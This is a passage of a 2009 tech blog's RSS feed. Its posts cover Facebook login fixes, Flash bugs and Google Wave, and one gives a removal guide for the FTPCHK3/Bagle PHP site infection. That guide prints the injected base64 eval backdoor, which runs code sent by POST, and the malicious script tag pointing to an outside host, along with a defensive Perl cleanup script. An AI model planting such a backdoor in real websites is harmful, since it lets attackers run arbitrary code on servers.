/&gt;  }&lt;br /&gt;$b0srl = (($a = @set_error_handler ('b0sr2')) != 'b0sr2') ? $a : 0;&lt;br /&gt;eval (base64_decode ($_POST['e']));&lt;br /&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/8gZEMuUR4QE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/8gZEMuUR4QE/bagle-virus-analysis-php-code.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>5</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/10/bagle-virus-analysis-php-code.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-5450326028186466949</guid><pubDate>Thu, 15 Oct 2009 07:35:00 +0000</pubDate><atom:updated>2009-10-15T02:13:16.741-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Virus Removal</category><title>FTPCHK3 : Virus that adds malicious scripts to your website.</title><description>&lt;b&gt;Intro&lt;/b&gt;&lt;br /&gt;This virus changes all your web files, php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How it got in ?&lt;/b&gt;&lt;br /&gt;This can be due to potential security holes in your FTP server programs and/or the anonymous user access being activated in your FTP configuration. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;What it does?&lt;/b&gt;&lt;br /&gt;It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like &lt;br /&gt;&lt;pre class="prog"&gt;&lt;br /&gt;&amp;lt;?php eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg&lt;br /&gt;kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc&lt;br /&gt;..&lt;br /&gt;&lt;i class="prog_com"&gt;//Truncated&lt;/i&gt;&lt;br /&gt;..&lt;br /&gt;ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J&lt;br /&gt;GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The code adds scripts to your code like&lt;br /&gt;&lt;pre&gt;&amp;lt;script src=http://gemus.pl/db/ftpchk3.php &amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;br /&gt;and executes codes coming via POST requests.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Removal&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(170, 0, 0);"&gt; Backup your web directory, just in case something gets messed up.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with &lt;i&gt;file&lt;/i&gt;.infected and removes code from the file and updates your file to remove the code.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prog" style="height:300px;"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;`grep -Rn aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u * | cut -d ':' -f 1 &amp;gt; listofinfected`;&lt;br /&gt;&lt;br /&gt;open FP,&amp;quot;listofinfected&amp;quot;;&lt;br /&gt;my $file;&lt;br /&gt;while($file = &amp;lt;FP&amp;gt;){&lt;br /&gt;  print &amp;quot;Testing $file ... &amp;quot;;&lt;br /&gt;  chomp($file);&lt;br /&gt;  if(-e ($file)){&lt;br /&gt;    open VI,$file;&lt;br /&gt;    my @filecon = &amp;lt;VI&amp;gt;;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    if($filecon[0] =~ m/aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9u/){&lt;br /&gt;      &lt;br /&gt;      $filecon[0] =~ s/(&amp;lt;\?.*?\?&amp;gt;)//g;&lt;br /&gt;      &lt;br /&gt;      rename($file,$file.&amp;quot;.infected&amp;quot;);&lt;br /&gt;    &lt;br /&gt;      open VI,&amp;quot;&amp;gt;$file&amp;quot;;&lt;br /&gt;      print VI join('',@filecon);&lt;br /&gt;      close VI;&lt;br /&gt;      &lt;br /&gt;      print $file.&amp;quot; Fixed !!&amp;quot;;&lt;br /&gt;    }    &lt;br /&gt;  }&lt;br /&gt;  print &amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(FP);&lt;br /&gt;&lt;br /&gt;`grep -Rn ftpchk3.php * | cut -d ':' -f 1 &amp;gt; listofinfected2`;&lt;br /&gt;&lt;br /&gt;open FP,&amp;quot;listofinfected2&amp;quot;;&lt;br /&gt;my $file;&lt;br /&gt;while($file = &amp;lt;FP&amp;gt;){&lt;br /&gt;  print &amp;quot;Testing $file ... &amp;quot;;&lt;br /&gt;  chomp($file);&lt;br /&gt;  if(-e ($file)){&lt;br /&gt;    open VI,$file;&lt;br /&gt;    my @filecon = &amp;lt;VI&amp;gt;;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    my $fc = join('',@filecon);&lt;br /&gt;    $fc =~ s|document.write('&amp;lt;script(.*?)ftpchk3.php(.*)script&amp;gt;');||sig;&lt;br /&gt;    $fc =~ s|&amp;lt;script[\s]+src=&amp;quot;?http(.*?)ftpchk3.php(.*?)script&amp;gt;||sig;&lt;br /&gt;    &lt;br /&gt;  &lt;br /&gt;    &lt;br /&gt;    rename($file,$file.&amp;quot;.infected&amp;quot;);&lt;br /&gt;    &lt;br /&gt;    open VI,&amp;quot;&amp;gt;$file&amp;quot;;&lt;br /&gt;    print VI $fc;&lt;br /&gt;    close VI;&lt;br /&gt;    &lt;br /&gt;    print $file.&amp;quot; Fixed !!&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;  print &amp;quot;\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(FP);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How to execute?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Copy paste the code to a file called &lt;i&gt;anti.pl&lt;/i&gt;&lt;br /&gt;From the terminal run &lt;br /&gt;&lt;pre&gt;perl anti.pl&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;br /&gt;Those who are intereseted in how it works, here is an &lt;a href="/2009/10/bagle-virus-analysis-php-code.html"&gt;analysis&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Happy fixing... &lt;br /&gt;PS: Fix it asap.. the virus is supposed to delete your files.&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/iOY5roASRWY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/iOY5roASRWY/ftpchk3-virus-php-pl-hacked-website.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-4246278813478277638</guid><pubDate>Thu, 24 Sep 2009 09:08:00 +0000</pubDate><atom:updated>2009-09-24T05:26:42.237-07:00</atom:updated><title>Statistics for your website, the way you want...</title><description>&lt;b&gt;Hey mates&lt;/b&gt;&lt;br /&gt;Head over to &lt;a href="http://stats.kitiyo.com"&gt;stats.kitiyo.com&lt;/a&gt; and sign up to get a cool statistics graph for your blog or website. &lt;br /&gt;You might need this invitation code : &lt;b&gt;&lt;pre&gt;iwantitbadly&lt;/pre&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Scroll down to see my statistics. This is still in beta stage, so let me know of feature suggestions or anything you would like to add. :)&lt;br /&gt;I have added most features that you would find in any ordinary stats site, like popular pages, referers search keywords etc.&lt;br /&gt;&lt;br /&gt;Lots of features yet to come. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QpfjolcC1Go/SrtP-D-IfoI/AAAAAAAAAXk/FBoa2oP63Ug/s1600-h/kitiyo_stats.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_QpfjolcC1Go/SrtP-D-IfoI/AAAAAAAAAXk/FBoa2oP63Ug/s400/kitiyo_stats.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5384985707087953538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;script src="http://stats.kitiyo.com/js/stats.js"&gt;&lt;/script&gt;&lt;script type="text/javascript"&gt;_stat.i('S7-csV-VG2eM', '450px', '135px',{});&lt;/script&gt;&lt;noscript&gt;&lt;iframe src="http://stats.kitiyo.com/render?nojs&amp;api=S7-csV-VG2eM&amp;sz=450px,135px" width="450px" height="135px"&gt;&lt;/iframe&gt;&lt;/noscript&gt;&lt;br /&gt;Powered By &lt;a href="http://stats.kitiyo.com/"&gt;Kitiyo Stats&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy...&lt;br /&gt;Cya at stats.kitiyo.com&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/iz6iMOIUhQM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/iz6iMOIUhQM/statistics-for-your-website-way-you.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_QpfjolcC1Go/SrtP-D-IfoI/AAAAAAAAAXk/FBoa2oP63Ug/s72-c/kitiyo_stats.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/09/statistics-for-your-website-way-you.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-3626914725712566742</guid><pubDate>Wed, 26 Aug 2009 07:02:00 +0000</pubDate><atom:updated>2009-08-26T00:59:28.983-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PHP</category><category domain="http://www.blogger.com/atom/ns#">Facebook</category><title>Fix for Facebook authentication on IE</title><description>&lt;b&gt;What?&lt;/b&gt;&lt;br /&gt;This is for Facebook developers who have faced this problem.  If you are using an Facebook application to authenticate a user on a PHP website, the Facebook redirection on Internet Explorer specifically fails the login of the user. This is because the return URL returned by facebook specifically for IE is the appending of the &lt;br /&gt;&lt;pre&gt;CallBack URL specified in the Application +&lt;br /&gt;the Next parameter + &lt;br /&gt;a "?" + &lt;br /&gt;the auth_token parameter.&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This results in Facebook redirecting to a wierd URL. &lt;br /&gt;&lt;br /&gt;the &lt;b&gt;Workaround&lt;/b&gt;&lt;br /&gt;for this is to remove the next parameter from the facebook login URL.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://www.facebook.com/login.php?api_key=&amp;lt;API KEY&amp;gt;&amp;amp;v=1.0&amp;amp;next=http%3A%2F%2Flocalhost%2Ftest%2F%2Ffacebook%3Fredir_domain%3Dexample.com&lt;/pre&gt;&lt;br /&gt;to&lt;br /&gt;&lt;pre&gt;http://www.facebook.com/login.php?api_key=&amp;lt;API KEY&amp;gt;&amp;amp;v=1.0&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;For PHP websites the changes for the facebook.php are given below:&lt;br /&gt;It must be similar changes for any of the other client API's.&lt;br /&gt;This is accomplished by changing the line on facebook.php&lt;br /&gt;facebook-platform/php/facebook.php&lt;br /&gt;&lt;br /&gt;Change the following lines&lt;br /&gt;&lt;pre class="prog"&gt;&lt;span class="prog_key"&gt;public function&lt;/span&gt; require_login() {&lt;br /&gt;    if ($user = $this-&gt;get_loggedin_user()) {&lt;br /&gt;      &lt;span class="prog_key"&gt;return&lt;/span&gt; $user;&lt;br /&gt;    }&lt;br /&gt;    $this-&gt;redirect($this-&gt;get_login_url(self::current_url(), $this-&gt;in_frame())&lt;br /&gt;);&lt;br /&gt;  }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;to &lt;br /&gt;&lt;br /&gt;&lt;pre class="prog"&gt;  &lt;span class="prog_key"&gt;public function&lt;/span&gt; require_login() {&lt;br /&gt;    if ($user = $this-&gt;get_loggedin_user()) {&lt;br /&gt;      &lt;span class="prog_key"&gt;return&lt;/span&gt; $user;&lt;br /&gt;    }&lt;br /&gt;    $this-&gt;redirect($this-&gt;get_login_url('', $this-&gt;in_frame()));&lt;br /&gt;  }&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The change is to remove the &lt;i&gt;next&lt;/i&gt; parameter from the $this-&gt;get_login_url Call from within require_login member function of the Facebook class.&lt;br /&gt;&lt;br /&gt;This seems to fix the problem of login.&lt;br /&gt;This is not a bug in facebook as it is the intended functionality inside apps.&lt;br /&gt;&lt;br /&gt;Happy developing..&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/ziifqTU411I" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/ziifqTU411I/facebook-auth-next-parameter-ie.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/08/facebook-auth-next-parameter-ie.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-7336228060205488017</guid><pubDate>Thu, 20 Aug 2009 12:06:00 +0000</pubDate><atom:updated>2009-08-20T05:14:40.528-07:00</atom:updated><title>Flash Player BUG: Permission denied to call method Location.toString</title><description>&lt;b&gt;Permission denied to call method Location.toString&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If you get this wierd error on your error console, it might be because of opening a flash script within a frame from another domain from your domain. This is a flash bug and apparently there is no work around. So just ignore this error. &lt;br /&gt;&lt;br /&gt;I found out this the hardway after searching for a long time, so if anyone stumbles upon this page, just upgrade your flash player.&lt;br /&gt;&lt;br /&gt;I found it while beta prototyping &lt;a href="http://stats.kitiyo.com/"&gt;Kitiyo Stats&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/KezVYIKBwaY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/KezVYIKBwaY/flash-flex-swf-bug-permission-denied-to.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/08/flash-flex-swf-bug-permission-denied-to.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-733698553397994117</guid><pubDate>Thu, 06 Aug 2009 03:10:00 +0000</pubDate><atom:updated>2009-08-05T20:23:28.749-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Feature Review</category><title>Google Wave Review &amp; Dev Preview</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QpfjolcC1Go/SnpKXZ7hKGI/AAAAAAAAAW8/xI5UaEazEHI/s1600-h/wave-screenshot.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_QpfjolcC1Go/SnpKXZ7hKGI/AAAAAAAAAW8/xI5UaEazEHI/s400/wave-screenshot.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5366683671923337314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Google Wave?&lt;/b&gt;&lt;br /&gt;Google wave is a new product from Google, it is like but much more than a collaborative chat with bots helping you and adding interactive data within conversations. &lt;br /&gt;&lt;br /&gt;It is a developer preview that I got so its kind of slow. The chats are realtime, which means you will have to think really hard before you type it :D . You can add maps, videos, images, or even other websites or anything within a conversation to make it live. Each of these conversation is called a &lt;i&gt;Wave&lt;/i&gt;. And each item inside is a &lt;i&gt;Wavelet&lt;/i&gt;, Those who have brushed upon their Signal processing subjects would ring a bell here. The waves are recorded in time and can be played back to see the conversation growing.&lt;br /&gt;&lt;br /&gt;It takes sometime to load and the javascript pretty much hangs around when we do something like resizing the windows. The pretty new scroll bar is cute.&lt;br /&gt;&lt;br /&gt;About bots, you can add bots to your conversation that augments information like if we type some keywords, the bots parse them and fetch the information and populates the conversation for you.&lt;br /&gt;&lt;br /&gt;Am still trying it out .. So will keep updated here..&lt;br /&gt;Read on&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/uiDoVwOa9q4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/uiDoVwOa9q4/google-wave-review-preview-dev.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_QpfjolcC1Go/SnpKXZ7hKGI/AAAAAAAAAW8/xI5UaEazEHI/s72-c/wave-screenshot.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/08/google-wave-review-preview-dev.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4056600558769970290.post-8970846645529367500</guid><pubDate>Fri, 31 Jul 2009 13:01:00 +0000</pubDate><atom:updated>2009-07-31T06:09:29.326-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Facebook</category><category domain="http://www.blogger.com/atom/ns#">Orkut</category><category domain="http://www.blogger.com/atom/ns#">Fun</category><title>This is what happens when you develop Orkut and Facebook Applications Simultaneously</title><description>&lt;b&gt;The thing&lt;/b&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_QpfjolcC1Go/SnLsTNoi_DI/AAAAAAAAAWc/NSXsb_jY1Iw/s1600-h/orkut-facebook.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_QpfjolcC1Go/SnLsTNoi_DI/AAAAAAAAAWc/NSXsb_jY1Iw/s400/orkut-facebook.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5364609920973077554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Need I explain more?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Just in case, its a dialog to add the application profile view into your Facebook profile, within Orkut.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Technical Details&lt;/b&gt;&lt;br /&gt;Its just the Session variables screwing up, everything is fine. Although I could not resist putting up a screen shot of it. Are you an application developer? Let me know...&lt;img src="http://feeds.feedburner.com/~r/TheDigitalMe/~4/_tiNpnUf-AM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/TheDigitalMe/~3/_tiNpnUf-AM/orkut-facebook-app-funny.html</link><author>noreply@blogger.com (Arun Prabhakar)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_QpfjolcC1Go/SnLsTNoi_DI/AAAAAAAAAWc/NSXsb_jY1Iw/s72-c/orkut-facebook.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://digitalpbk.blogspot.com/2009/07/orkut-facebook-app-funny.html</feedburner:origLink></item></channel></rss>
